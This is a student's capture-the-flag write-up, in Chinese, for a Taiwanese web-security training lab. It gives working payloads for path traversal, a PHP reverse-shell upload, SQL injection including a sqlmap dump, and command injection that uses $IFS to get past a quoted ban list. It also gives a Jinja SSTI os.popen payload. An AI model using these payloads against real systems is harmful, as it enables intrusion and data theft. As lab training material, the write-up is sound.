# TAIWAN HolyYoung Training-網頁安全 身為一個資安小萌新,來上這堂課也是很正常的吧。(哭爛) ## IDOR Challenge [Link](http://lab.slasho.tw:8002/) 在footer有管理員入口 ![image](https://hackmd.io/_uploads/r14P7f5e1l.png) ![image](https://hackmd.io/_uploads/Sy3DQfceyl.png) 用burp 試試看 ![image](https://hackmd.io/_uploads/BJgi7Mclkg.png) 看來admin也不行,但她寫**非本地訪問** 所以加一句 ```bash! X-Forwarded-For: localhost ``` ![image](https://hackmd.io/_uploads/SyRWVfcgJl.png) 成功 ![image](https://hackmd.io/_uploads/BkSP4G9l1e.png) > flag{idor} ## Path Traversal [link](http://lab.slasho.tw:8003/) 裡面有很多喵咪 照片的link是: ![image](https://hackmd.io/_uploads/rkkn4Gqe1e.png) 看到可以做注入的地方了 ```bash! http://lab.slasho.tw:8003/load.php?file=../../../.../../../etc/passwd ``` ![image](https://hackmd.io/_uploads/H1HJHGqgJe.png) 拿到根目錄了 用 ```bash! http://lab.slasho.tw:8003/load.php?file=../../../.../../../flag ``` 拿flag ![image](https://hackmd.io/_uploads/S1qWrzqlye.png) > flag{path_traversal} ## Information Leakage [link](http://lab.slasho.tw:8004/) 點進來網站裡啥都沒有 看來先dirb ![image](https://hackmd.io/_uploads/HJb_rG5xye.png) 看來她有git 那就上[工具](https://github.com/WangYihang/GitHacker) ```bash! githacker --url http://lab.slasho.tw:8004/.git --output-folder result ``` 跑完之後拿到檔案 ![image](https://hackmd.io/_uploads/SJk_oGql1e.png) 其中main.py裡面: ![image](https://hackmd.io/_uploads/HygYiGcl1e.png) 有寫/my_secret_flag_page這個分頁 而secret.json中有帳號密碼 ![image](https://hackmd.io/_uploads/S1Waofcl1x.png) 拿去登入之後 ![image](https://hackmd.io/_uploads/B1XRoGqgyl.png) > flag{information_leakage} ## Local File Inclusion 1 [link](http://lab.slasho.tw:8005/) ![image](https://hackmd.io/_uploads/H1Pgnfqe1l.png) 發現照片的檔案路徑 ![image](https://hackmd.io/_uploads/ryLG3Mqlke.png) 那就拜訪一下index.php ![image](https://hackmd.io/_uploads/Bk-2q_5e1g.png) 好像有secret.json ![image](https://hackmd.io/_uploads/SJ8R5_9gyg.png) 用帳密登入之後 ![image](https://hackmd.io/_uploads/B1Hxjd9lkl.png) > flag{lfi_1} ## Local File Inclusion 2 [link](http://lab.slasho.tw:8006/) 他可以上傳檔案了 這不就是大哥教的reverse shell嗎 ![image](https://hackmd.io/_uploads/S1L_o_9x1e.png) 到這個[網站](https://www.revshells.com/) 用自己的ip生一個php ![image](https://hackmd.io/_uploads/SkyF6Ocekl.png) 上傳檔案,在新分頁開啟圖檔 ![image](https://hackmd.io/_uploads/B1eCpOcgye.png) 就可以下cmd ![image](https://hackmd.io/_uploads/rynA6dce1l.png) ls裡面超亂的笑死 ![image](https://hackmd.io/_uploads/BkEWCd9gyg.png) `pwd`現在的位置`/var/www/html/upload` `ls /` 看根目錄 ![image](https://hackmd.io/_uploads/H1gyyKcgkx.png) ```bash! cat /flag ``` ![image](https://hackmd.io/_uploads/SkWXkYqgyg.png) > flag{lfi_2} ## Cross-Site Scripting [link](http://lab.slasho.tw:8007/) 題目要我們用XSS叫出encodedFlag ```bash! <script>alert(encodeFlag)</script> ``` ![image](https://hackmd.io/_uploads/rJt-XXceke.png) > flag{xss} ## SQL Injection 1 [link](http://lab.slasho.tw:8008/) 抱歉我無腦 ```bash! ' or '1 = 1 ``` 但他的source code是這樣 ```html! <div class="hint" id="hint"> SELECT * FROM user WHERE username='<span class="highlight" id="username-hint"></span>' AND password='<span class="highlight" id="password-hint"></span>' </div> ``` >flag{sql_injection1} ## SQL Injection 2 [link](http://lab.slasho.tw:8008/) 這題就比較麻煩,但昨天跟大哥學了sqlmap 之後感覺可以出一篇sqlmap詳細教學 或是取找sql Injection練功房之類的XD ```bash! sqlmap -u http://lab.slasho.tw:8008/ --forms --dump --dbs --flush-session --level=5 --risk=3 --batch ``` ![image](https://hackmd.io/_uploads/BkfxWd5xyg.png) > flag{sql_injection2} ## Command Injection 1 [link](http://lab.slasho.tw:8009/) 這題就是要輸入command ![image](https://hackmd.io/_uploads/SyRXbOqlJx.png) ```bash! https://example.com ; cat flag ``` ![image](https://hackmd.io/_uploads/HJ8L-dclJg.png) > flag{command_injection_1} ## Command Injection 2 [link](http://lab.slasho.tw:8010/) 用跟上面一樣的指令會出現banlist ```bash! you hacker !!! dont put these inside: [' ', '&', ';', '@', '%', '^', '~', '`', '<', '>', ',', 'ls', 'cat', 'less', 'tail', 'more', 'whoami', 'pwd', 'echo'] ``` 看了一下 截斷指令應該要用 `|`、`/`、`\` 然後可能可以用`head`、`rev`、`nl`之類的 但麻煩的是他ban空格... AI要我用`$IFS`環境變數代替空格: ```bash! https://example.com|head${IFS}flag ``` ![image](https://hackmd.io/_uploads/SkE7Xu9xkx.png) 又學到了一招 > flag{command_injection_2} ## Server-Side Template Injection [link](http://lab.slasho.tw:8011/) 這題就是SSTI 但我一直很不擅長 感覺也是要寫一篇文來逼自己練習 ![image](https://hackmd.io/_uploads/H1al4d9g1e.png) ||她的網頁好漂亮 我的Blog也想長這樣|| 官方解 [參考網站](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection) ```bash! `{{ cycler.__init__.__globals__.os.popen('cat /flag').read() }}` ``` > flag{ssti} ## Disable JavaScript [link](http://lab.slasho.tw:8001/form) 個人覺得這題蠻邪門的 網站是一個按鈕 ![image](https://hackmd.io/_uploads/ByTqBd5ekl.png) 按下去會被攔截![image](https://hackmd.io/_uploads/HJNhHu5ekg.png) 然後他在console噴flag不知道甚麼意思😍😍 ![image](https://hackmd.io/_uploads/rJkk8ucgJx.png) 但正解是在F12設定這裡 ![image](https://hackmd.io/_uploads/HkjV8O5g1g.png) 右邊最下面把這個開起來 ![image](https://hackmd.io/_uploads/HyFIId9eye.png) 這樣再去按按鈕就會跳flag了 ![image](https://hackmd.io/_uploads/ryphIOqlJx.png) > flag{disable_javascript} ## Header 1 [link](http://lab.slasho.tw:8001/) 好不習慣header的題目不是叫你改method是只要你看Header 在F12 -> Network 這邊refresh網頁 ![image](https://hackmd.io/_uploads/ryTXPO5eJg.png) 就會看到了 ![image](https://hackmd.io/_uploads/HyeHwd5g1g.png) > flag{header} ## Header 2 [link](http://lab.slasho.tw:8001/) 呈上題有看到一個flag.json ![image](https://hackmd.io/_uploads/Bkeov_qx1e.png) > flag{dev_tools_network} ## Burp Suite [link](http://lab.slasho.tw:8001/shop) 我給這題100分,我一直在找這種好教新手的題目 ![image](https://hackmd.io/_uploads/H19lO_ceyx.png) 就是要你交出1000000以上 ![image](https://hackmd.io/_uploads/rJkGOO5x1g.png) 開Burp -> Proxy -> Open Browser ![image](https://hackmd.io/_uploads/Hkd8du9l1x.png) 進入頁面之後Burp開Intercept on ![image](https://hackmd.io/_uploads/B1Y5_dclye.png) 之後網頁按送出 在Burp把被攔截的請求中的數字改成我們要的 ![image](https://hackmd.io/_uploads/SkUktu5eye.png) Forward ![image](https://hackmd.io/_uploads/rydlt_5ekx.png) > flag{burp_suite} ## Kali Linux [link](http://lab.slasho.tw:8001/) 這題超怪 但說要kali就dirb一下 ```bash! dirb http://lab.slasho.tw:8001/ ``` ![image](https://hackmd.io/_uploads/r1JhYu5xye.png) 然後curl ```bash! curl http://lab.slasho.tw:8001/abc ``` ![image](https://hackmd.io/_uploads/H1Pycd5lye.png) > flag{kali_linux}